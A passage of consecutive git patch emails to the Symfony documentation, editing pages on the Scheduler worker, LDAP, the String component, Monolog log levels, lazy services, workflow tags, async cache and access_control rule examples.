 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/

From e03649f82d3ad7add276a05aa6f1d5156472c35f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 12 Mar 2024 10:33:34 +0100
Subject: [PATCH 5907/7107] [Scheduler] Mention `Scheduler` worker

---
 scheduler.rst | 52 +++++++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 50 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index e824c0af5a5..b6744f01cad 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -782,8 +782,17 @@ and their priorities:
     The ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` events were
     introduced in Symfony 6.4.
 
-Consuming Messages (Running the Worker)
----------------------------------------
+Consuming Messages
+------------------
+
+The Scheduler component offers two ways to consume messages, depending on your
+needs: using the ``messenger:consume`` command or creating a worker programmatically.
+The first solution is the recommended one when using the Scheduler component in
+the context of a full stack Symfony application, the second one is more suitable
+when using the Scheduler component as a standalone component.
+
+Running a Worker
+~~~~~~~~~~~~~~~~
 
 After defining and attaching your recurring messages to a schedule, you'll need
 a mechanism to generate and consume the messages according to their defined frequencies.
@@ -800,6 +809,45 @@ the Messenger component:
 .. image:: /_images/components/scheduler/generate_consume.png
     :alt: Symfony Scheduler - generate and consume
 
+Creating a Consumer Programmatically
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+An alternative to the previous solution is to create and call a worker that
+will consume the messages. The component comes with a ready-to-use worker
+named :class:`Symfony\\Component\\Scheduler\\Scheduler` that you can use in your
+code::
+
+    use Symfony\Component\Scheduler\Scheduler;
+
+    $schedule = (new Schedule())
+        ->with(
+            RecurringMessage::trigger(
+                new ExcludeHolidaysTrigger(
+                    CronExpressionTrigger::fromSpec('@daily'),
+                ),
+                new SendDailySalesReports()
+            ),
+        );
+
+    $scheduler = new Scheduler(handlers: [
+        SendDailySalesReports::class => new SendDailySalesReportsHandler(),
+        // add more handlers if you have more message types
+    ], schedules: [
+        $schedule,
+        // the scheduler can take as many schedules as you need
+    ]);
+
+    // finally, run the scheduler once it's ready
+    $scheduler->run();
+
+.. note::
+
+    The :class:`Symfony\\Component\\Scheduler\\Scheduler` may be used
+    when using the Scheduler component as a standalone component. If
+    you are using it in the Framework context, it is highly recommended to
+    use the ``messenger:consume`` command as explained in the previous
+    section.
+
 Debugging the Schedule
 ----------------------
 

From f2f380d676a15bbc3e3af1619dc46c076fe976f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Mar 2024 09:24:41 +0100
Subject: [PATCH 5908/7107] Minor tweak

---
 security/ldap.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index 7e33eb10fb7..39cf26081c7 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -199,9 +199,9 @@ use the ``ldap`` user provider.
 
 .. versionadded:: 5.4
 
-    `LdapUser::getExtraFields()` always returns an array of values. Prior
-    `LdapUserProvider` threw and `InvalidArgumentException` on multiple
-    attributes.
+    The ``LdapUser::getExtraFields()`` method always returns an array of values.
+    In prior Symfony versions, ``LdapUserProvider`` threw an ``InvalidArgumentException``
+    on multiple attributes.
 
 .. caution::
 

From 05e86b4b41faf5e4d5bb7a8260b940e5f737abcf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Mar 2024 09:25:39 +0100
Subject: [PATCH 5909/7107] Remove a versionadded directive

---
 security/ldap.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index 88fcc9febde..307d9996c9b 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -197,12 +197,6 @@ use the ``ldap`` user provider.
             ;
         };
 
-.. versionadded:: 5.4
-
-    The ``LdapUser::getExtraFields()`` method always returns an array of values.
-    In prior Symfony versions, ``LdapUserProvider`` threw an ``InvalidArgumentException``
-    on multiple attributes.
-
 .. caution::
 
     The Security component escapes provided input data when the LDAP user

From d4aed270931877b2fa5f008294c821a2593aa38b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Mar 2024 10:24:17 +0100
Subject: [PATCH 5910/7107] [String] Reorganize String component contents

---
 _build/redirection_map              |  3 ++-
 components/intl.rst                 |  9 +++------
 components/string.rst => string.rst | 14 ++++++++------
 3 files changed, 13 insertions(+), 13 deletions(-)
 rename components/string.rst => string.rst (98%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 3b845d59ffe..34f3b7d166b 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -529,7 +529,7 @@
 /components/serializer#component-serializer-attributes-groups-annotations /components/serializer#component-serializer-attributes-groups-attributes
 /logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
 /security/named_encoders /security/named_hashers
-/components/inflector /components/string#inflector
+/components/inflector /string#inflector
 /security/experimental_authenticators /security
 /security/user_provider /security/user_providers
 /security/reset_password /security/passwords#reset-password
@@ -566,3 +566,4 @@
 /messenger/handler_results /messenger#messenger-getting-handler-results
 /messenger/dispatch_after_current_bus /messenger#messenger-transactional-messages
 /messenger/multiple_buses /messenger#messenger-multiple-buses
+/components/string /string
diff --git a/components/intl.rst b/components/intl.rst
index 0cf99591369..d18ac21b10a 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -385,12 +385,9 @@ to catching the exception, you can also check if a given timezone ID is valid::
 Emoji Transliteration
 ~~~~~~~~~~~~~~~~~~~~~
 
-.. note::
-
-    The ``EmojiTransliterator`` class provides a utility to translate emojis into
-    their textual representation in all languages based on the Unicode CLDR dataset.
-
-Discover all the available Emoji manipulations in the :ref:`component documentation <working-with-emojis>`.
+Symfony provides utilities to translate emojis into their textual representation
+in all languages. Read the documentation on :ref:`working with emojis in strings <string-emoji-transliteration>`
+to learn more about this feature.
 
 Disk space
 ----------
diff --git a/components/string.rst b/string.rst
similarity index 98%
rename from components/string.rst
rename to string.rst
index 56af5719170..62336e461cf 100644
--- a/components/string.rst
+++ b/string.rst
@@ -1,11 +1,11 @@
-The String Component
-====================
+Creating and Manipulating Strings
+=================================
 
-    The String component provides a single object-oriented API to work with
-    three "unit systems" of strings: bytes, code points and grapheme clusters.
+Symfony provides an object-oriented API to work with Unicode strings (as bytes,
+code points and grapheme clusters). This API is available via the String component,
+which you must first install in your application:
 
-Installation
-------------
+.. _installation:
 
 .. code-block:: terminal
 
@@ -524,6 +524,8 @@ which you must first install in your application:
 
     $ composer require symfony/emoji
 
+.. include:: /components/require_autoload.rst.inc
+
 The data needed to store the transliteration of all emojis (~5,000) into all
 languages take a considerable disk space.
 

From 776f1d4de788196a5758ffe2fd67ce7642560dc7 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 13 Mar 2024 14:04:47 +0100
Subject: [PATCH 5911/7107] [Logger] Using LogLevel `const`s

Page: https://symfony.com/doc/5.x/logging.html

If you agree, I'll replace the remaining occurrences.
---
 logging.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/logging.rst b/logging.rst
index c546701f78d..8b26cda9796 100644
--- a/logging.rst
+++ b/logging.rst
@@ -154,6 +154,7 @@ to write logs using the :phpfunction:`syslog` function:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
+        use Psr\Log\LogLevel;
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog) {
@@ -163,12 +164,12 @@ to write logs using the :phpfunction:`syslog` function:
                 // log to var/logs/(environment).log
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
                 // log *all* messages (debug is lowest level)
-                ->level('debug');
+                ->level(LogLevel::DEBUG);
 
             $monolog->handler('syslog_handler')
                 ->type('syslog')
                 // log error-level messages and higher
-                ->level('error');
+                ->level(LogLevel::ERROR);
         };
 
 This defines a *stack* of handlers and each handler is called in the order that it's

From cf292480cb1776f0ad88351dc3aed12bfc8ebb59 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 14 Mar 2024 16:19:36 +0100
Subject: [PATCH 5912/7107] Minor tweaks

---
 components/messenger.rst | 6 +++---
 scheduler.rst            | 6 +++---
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index e5981bbd67c..8ec25d2c75f 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -163,9 +163,9 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
 * :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
   an internal stamp when a message fails due to an exception in the handler.
 * :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`,
-  a stamp that marks the message as produced by a scheduler. You can learn
-  more about it in the :doc:`Scheduler component page </scheduler>`. This helps
-  differentiate from messages created "manually".
+  a stamp that marks the message as produced by a scheduler. This helps
+  differentiate it from messages created "manually". You can learn more about it
+  in the :doc:`Scheduler documentation </scheduler>`.
 
 .. versionadded:: 6.4
 
diff --git a/scheduler.rst b/scheduler.rst
index ee79ea4fbe1..185fe7d182a 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -914,9 +914,9 @@ before being further redispatched to its corresponding handler::
         }
     }
 
-When using the ``RedispatchMessage``, a
-:class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` will be attached
-to the message, helping you identify those messages when needed.
+When using the ``RedispatchMessage``, Symfony will attach a
+:class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` to the message,
+helping you identify those messages when needed.
 
 .. versionadded:: 6.4
 

From 670b70ee456e7154d811d92bfabbd2fa7c2bbae0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 14 Mar 2024 16:21:05 +0100
Subject: [PATCH 5913/7107] Remove some versionadded directives

---
 components/messenger.rst | 5 -----
 scheduler.rst            | 5 -----
 2 files changed, 10 deletions(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 8ec25d2c75f..a1c1e709e00 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -167,11 +167,6 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
   differentiate it from messages created "manually". You can learn more about it
   in the :doc:`Scheduler documentation </scheduler>`.
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` was
-    introduced in Symfony 6.4.
-
 .. note::
 
     The :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp` stamp
diff --git a/scheduler.rst b/scheduler.rst
index 7a21d06ea9b..16346b4f566 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -885,11 +885,6 @@ When using the ``RedispatchMessage``, Symfony will attach a
 :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` to the message,
 helping you identify those messages when needed.
 
-.. versionadded:: 6.4
-
-    Automatically attaching a :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`
-    to redispatched messages was introduced in Symfony 6.4.
-
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/

From 5cf0759d629afd9bd8976150ea6f2d36950cb1cf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 14 Mar 2024 16:41:51 +0100
Subject: [PATCH 5914/7107] Minor tweak

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index d314b0c70c9..875f0059f6c 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -844,7 +844,7 @@ code::
 
     The :class:`Symfony\\Component\\Scheduler\\Scheduler` may be used
     when using the Scheduler component as a standalone component. If
-    you are using it in the Framework context, it is highly recommended to
+    you are using it in the framework context, it is highly recommended to
     use the ``messenger:consume`` command as explained in the previous
     section.
 

From 7789dfb43a0583c3db11f926ca87ecb8f7b54066 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 14 Mar 2024 16:46:02 +0100
Subject: [PATCH 5915/7107] [Scheduler] Readd a reference to not break existing
 links

---
 scheduler.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index 875f0059f6c..39644ff9c8e 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -782,6 +782,8 @@ and their priorities:
     The ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` events were
     introduced in Symfony 6.4.
 
+.. _consuming-messages-running-the-worker:
+
 Consuming Messages
 ------------------
 

From 6141e0211e764dd1f1b6ea3026d6908a7a54e2aa Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 14 Mar 2024 16:59:04 +0100
Subject: [PATCH 5916/7107] [Logger] Using LogLevel `const`s, Part 2

Page: https://symfony.com/doc/5.x/logging.html

Remaining occurrences, as ancounced in https://github.com/symfony/symfony-docs/pull/19670
---
 logging.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/logging.rst b/logging.rst
index 8b26cda9796..978bd57da28 100644
--- a/logging.rst
+++ b/logging.rst
@@ -163,7 +163,7 @@ to write logs using the :phpfunction:`syslog` function:
                 ->type('stream')
                 // log to var/logs/(environment).log
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
-                // log *all* messages (debug is lowest level)
+                // log *all* messages (LogLevel::DEBUG is lowest level)
                 ->level(LogLevel::DEBUG);
 
             $monolog->handler('syslog_handler')
@@ -254,13 +254,14 @@ one of the messages reaches an ``action_level``. Take this example:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
+        use Psr\Log\LogLevel;
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog) {
             $monolog->handler('filter_for_errors')
                 ->type('fingers_crossed')
                 // if *one* log is error or higher, pass *all* to file_log
-                ->actionLevel('error')
+                ->actionLevel(LogLevel::ERROR)
                 ->handler('file_log')
             ;
 
@@ -268,17 +269,17 @@ one of the messages reaches an ``action_level``. Take this example:
             $monolog->handler('file_log')
                 ->type('stream')
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
-                ->level('debug')
+                ->level(LogLevel::DEBUG)
             ;
 
             // still passed *all* logs, and still only logs error or higher
             $monolog->handler('syslog_handler')
                 ->type('syslog')
-                ->level('error')
+                ->level(LogLevel::ERROR)
             ;
         };
 
-Now, if even one log entry has an ``error`` level or higher, then *all* log entries
+Now, if even one log entry has an ``LogLevel::ERROR`` level or higher, then *all* log entries
 for that request are saved to a file via the ``file_log`` handler. That means that
 your log file will contain *all* the details about the problematic request - making
 debugging much easier!
@@ -349,13 +350,14 @@ option of your handler to ``rotating_file``:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
+        use Psr\Log\LogLevel;
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog) {
             $monolog->handler('main')
                 ->type('rotating_file')
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
-                ->level('debug')
+                ->level(LogLevel::DEBUG)
                 // max number of log files to keep
                 // defaults to zero, which means infinite files
                 ->maxFiles(10);

From c9654fb02023468042783c041fcefbaea2645e50 Mon Sep 17 00:00:00 2001
From: Ozan Akman <info@ozanakman.com.tr>
Date: Tue, 6 Feb 2024 14:26:44 +0100
Subject: [PATCH 5917/7107] [DependencyInjection] Add readonly statement to the
 Lazy Services docs

---
 service_container/lazy_services.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 86cfc33749b..fb5af58d509 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -23,7 +23,7 @@ until you interact with the proxy in some way.
 
 .. caution::
 
-    Lazy services do not support `final`_ classes, but you can use
+    Lazy services do not support `final`_ or `readonly` classes, but you can use
     `Interface Proxifying`_ to work around this limitation.
 
     In PHP versions prior to 8.0 lazy services do not support parameters with

From 1c029ca350e22c991af52203978954e30e224ccd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 15 Mar 2024 08:29:38 +0100
Subject: [PATCH 5918/7107] Minor syntax fix

---
 service_container/lazy_services.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index fb5af58d509..38d2f2186f0 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -23,7 +23,7 @@ until you interact with the proxy in some way.
 
 .. caution::
 
-    Lazy services do not support `final`_ or `readonly` classes, but you can use
+    Lazy services do not support `final`_ or ``readonly`` classes, but you can use
     `Interface Proxifying`_ to work around this limitation.
 
     In PHP versions prior to 8.0 lazy services do not support parameters with

From e94de7a5672dc87baa021cacdd3d05abb6d5e5b5 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 12 Mar 2024 10:04:12 +0100
Subject: [PATCH 5919/7107] [Workflow] Attach workflow configuration to tags

---
 service_container/tags.rst |  2 ++
 workflow.rst               | 13 +++++++++++++
 2 files changed, 15 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index ca36bde74e1..1900ce28fb2 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -458,6 +458,8 @@ or from your kernel::
     :ref:`components documentation <components-di-compiler-pass>` for more
     information.
 
+.. _tags_additional-attributes:
+
 Adding Additional Attributes on Tags
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/workflow.rst b/workflow.rst
index 7e45c7693c1..4e85c10087d 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -366,6 +366,17 @@ name.
     * ``workflow.workflow``: all workflows;
     * ``workflow.state_machine``: all state machines.
 
+    Note that workflow metadata are attached to tags under the
+    ``metatdata`` key, giving you more context and information about the workflow
+    at disposal. You can learn more about
+    :ref:`tag attributes <tags_additional-attributes>` and
+    :ref:`storing workflow metadata <workflow_storing-metadata>`
+    in their dedicated sections.
+
+    .. versionadded:: 7.1
+
+        The attached configuration to the tag was introduced in Symfony 7.1.
+
 .. tip::
 
     You can find the list of available workflow services with the
@@ -1032,6 +1043,8 @@ The following example shows these functions in action:
         <span class="error">{{ blocker.message }}</span>
     {% endfor %}
 
+.. _workflow_storing-metadata:
+
 Storing Metadata
 ----------------
 

From 9b4ab999554fcb595da44b2a470e9d37af80517a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 15 Mar 2024 19:12:36 +0100
Subject: [PATCH 5920/7107] Use Doctor RST 1.57.1

---
 .doctor-rst.yaml          | 2 ++
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 9e351a9a0e1..6e7b6e044cb 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -14,6 +14,8 @@ rules:
     ensure_bash_prompt_before_composer_command: ~
     ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
+    ensure_github_directive_start_with_prefix:
+        prefix: 'Symfony'
     ensure_link_bottom: ~
     ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index af2ea3a28a7..e93f8295b65 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.54.0
+                uses: docker://oskarstark/doctor-rst:1.57.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 12559a1793fb6c9122febd14693c737a8808ef5d Mon Sep 17 00:00:00 2001
From: Michael Hirschler <michael@hirschler.me>
Date: Fri, 15 Mar 2024 21:03:47 +0100
Subject: [PATCH 5921/7107] fixes async cache computation example and FQCN

---
 cache.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/cache.rst b/cache.rst
index 43d417c1738..5dd560a94cc 100644
--- a/cache.rst
+++ b/cache.rst
@@ -907,7 +907,7 @@ In the following example, the value is requested from a controller::
         public function index(CacheInterface $asyncCache): Response
         {
             // pass to the cache the service method that refreshes the item
-            $cachedValue = $cache->get('my_value', [CacheComputation::class, 'compute'])
+            $cachedValue = $asyncCache->get('my_value', [CacheComputation::class, 'compute'])
 
             // ...
         }
@@ -925,13 +925,13 @@ a message bus to compute values in a worker:
             cache:
                 pools:
                     async.cache:
-                        early_expiration_message_bus: async_bus
+                        early_expiration_message_bus: messenger.default_bus
 
             messenger:
                 transports:
                     async_bus: '%env(MESSENGER_TRANSPORT_DSN)%'
                 routing:
-                    Symfony\Component\Cache\Messenger\Message\EarlyExpirationMessage: async_bus
+                    'Symfony\Component\Cache\Messenger\EarlyExpirationMessage': async_bus
 
     .. code-block:: xml
 
@@ -947,12 +947,12 @@ a message bus to compute values in a worker:
         >
             <framework:config>
                 <framework:cache>
-                    <framework:pool name="async.cache" early-expiration-message-bus="async_bus"/>
+                    <framework:pool name="async.cache" early-expiration-message-bus="messenger.default_bus"/>
                 </framework:cache>
 
                 <framework:messenger>
                     <framework:transport name="async_bus">%env(MESSENGER_TRANSPORT_DSN)%</framework:transport>
-                    <framework:routing message-class="Symfony\Component\Cache\Messenger\Message\EarlyExpirationMessage">
+                    <framework:routing message-class="Symfony\Component\Cache\Messenger\EarlyExpirationMessage">
                         <framework:sender service="async_bus"/>
                     </framework:routing>
                 </framework:messenger>
@@ -969,7 +969,7 @@ a message bus to compute values in a worker:
         return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 ->pool('async.cache')
-                    ->earlyExpirationMessageBus('async_bus');
+                    ->earlyExpirationMessageBus('messenger.default_bus');
 
             $framework->messenger()
                 ->transport('async_bus')

From 76241bda97b74d551f2e7fe9a704fc1db0b9c4cf Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 18 Mar 2024 09:22:32 +0100
Subject: [PATCH 5922/7107] Remove the report section

---
 contributing/code_of_conduct/care_team.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index 316131e5e8f..e061c0a0afe 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -58,12 +58,3 @@ The :doc:`Symfony project leader </contributing/code/core_team>` appoints the CA
 team with candidates they see fit. The CARE team will consist of at least
 3 people. The team should be representing as many demographics as possible,
 ideally from different employers.
-
-CARE Team Transparency Reports
-------------------------------
-
-The CARE team publishes a transparency report at the end of each year:
-
-* `Symfony Code of Conduct Transparency Report 2018`_.
-
-.. _`Symfony Code of Conduct Transparency Report 2018`: https://symfony.com/blog/symfony-code-of-conduct-transparency-report-2018

From 7c2f917ae242abcd4c2bf27b47fac16443e15c4f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 15 Mar 2024 11:24:20 +0100
Subject: [PATCH 5923/7107] [Security] Replace a complex table by a list

---
 security/access_control.rst | 70 +++++++++++++++++++++++--------------
 1 file changed, 43 insertions(+), 27 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index b8a5f557286..c467a294f00 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -137,33 +137,49 @@ For each incoming request, Symfony will decide which ``access_control``
 to use based on the URI, the client's IP address, the incoming host name,
 and the request method. Remember, the first rule that matches is used, and
 if ``ip``, ``port``, ``host`` or ``method`` are not specified for an entry, that
-``access_control`` will match any ``ip``, ``port``, ``host`` or ``method``:
-
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| URI             | IP          | PORT        | HOST        | METHOD     | ``access_control``             | Why?                                                        |
-+=================+=============+=============+=============+============+================================+=============================================================+
-| ``/admin/user`` | 127.0.0.1   | 80          | example.com | GET        | rule #2 (``ROLE_USER_IP``)     | The URI matches ``path`` and the IP matches ``ip``.         |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | 80          | symfony.com | GET        | rule #2 (``ROLE_USER_IP``)     | The ``path`` and ``ip`` still match. This would also match  |
-|                 |             |             |             |            |                                | the ``ROLE_USER_HOST`` entry, but *only* the **first**      |
-|                 |             |             |             |            |                                | ``access_control`` match is used.                           |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | 8080        | symfony.com | GET        | rule #1 (``ROLE_USER_PORT``)   | The ``path``, ``ip`` and ``port`` match.                    |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | GET        | rule #3 (``ROLE_USER_HOST``)   | The ``ip`` doesn't match neither the first rule nor the     |
-|                 |             |             |             |            |                                | second rule. So the third rule (which matches) is used.     |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | POST       | rule #3 (``ROLE_USER_HOST``)   | The third rule still matches. This would also match the     |
-|                 |             |             |             |            |                                | fourth rule (``ROLE_USER_METHOD``), but only the **first**  |
-|                 |             |             |             |            |                                | matched ``access_control`` is used.                         |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | example.com | POST       | rule #4 (``ROLE_USER_METHOD``) | The ``ip`` and ``host`` don't match the first three         |
-|                 |             |             |             |            |                                | entries, but the fourth - ``ROLE_USER_METHOD`` - matches    |
-|                 |             |             |             |            |                                | and is used.                                                |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/foo``        | 127.0.0.1   | 80          | symfony.com | POST       | matches no entries             | This doesn't match any ``access_control`` rules, since its  |
-|                 |             |             |             |            |                                | URI doesn't match any of the ``path`` values.               |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
+``access_control`` will match any ``ip``, ``port``, ``host`` or ``method``.
+See the following examples:
+
+Example #1:
+  * **URI** ``/admin/user``
+  * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``example.com``, **Method**: ``GET``
+  * **Rule applied**: rule #2 (``ROLE_USER_IP``)
+  * **Why?** The URI matches ``path`` and the IP matches ``ip``.
+Example #2:
+  * **URI** ``/admin/user``
+  * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``GET``
+  * **Rule applied**: rule #2 (``ROLE_USER_IP``)
+  * **Why?** The ``path`` and ``ip`` still match. This would also match the
+    ``ROLE_USER_HOST`` entry, but *only* the **first** ``access_control`` match is used.
+Example #3:
+  * **URI** ``/admin/user``
+  * **IP**: ``127.0.0.1``, **Port**: ``8080``, **Host**: ``symfony.com``, **Method**: ``GET``
+  * **Rule applied**: rule #1 (``ROLE_USER_PORT``)
+  * **Why?** The ``path``, ``ip`` and ``port`` match.
+Example #4:
+  * **URI** ``/admin/user``
+  * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``GET``
+  * **Rule applied**: rule #3 (``ROLE_USER_HOST``)
+  * **Why?** The ``ip`` doesn't match neither the first rule nor the second rule.
+  * So the third rule (which matches) is used.
+Example #5:
+  * **URI** ``/admin/user``
+  * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``POST``
+  * **Rule applied**: rule #3 (``ROLE_USER_HOST``)
+  * **Why?** The third rule still matches. This would also match the fourth rule
+  * (``ROLE_USER_METHOD``), but only the **first** matched ``access_control`` is used.
+Example #6:
+  * **URI** ``/admin/user``
+  * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``example.com``, **Method**: ``POST``
+  * **Rule applied**: rule #4 (``ROLE_USER_METHOD``)
+  * **Why?** The ``ip`` and ``host`` don't match the first three entries, but
+  * the fourth - ``ROLE_USER_METHOD`` - matches and is used.
+Example #7:
+  * **URI** ``/foo``
+  * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``POST``
+  * **Rule applied**: matches no entries
+  * **Why?** This doesn't match any ``access_control`` rules, since its URI
+  * doesn't match any of the ``path`` values.
 
 .. caution::
 

From 438031cfd908517c3ced245ff6a0e76ecc963bcc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Mar 2024 11:00:42 +0100
Subject: [PATCH 5924/7107] Tweaks

---
 workflow.rst | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 4e85c10087d..65c4f827a0f 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -366,12 +366,10 @@ name.
     * ``workflow.workflow``: all workflows;
     * ``workflow.state_machine``: all state machines.
 
-    Note that workflow metadata are attached to tags under the
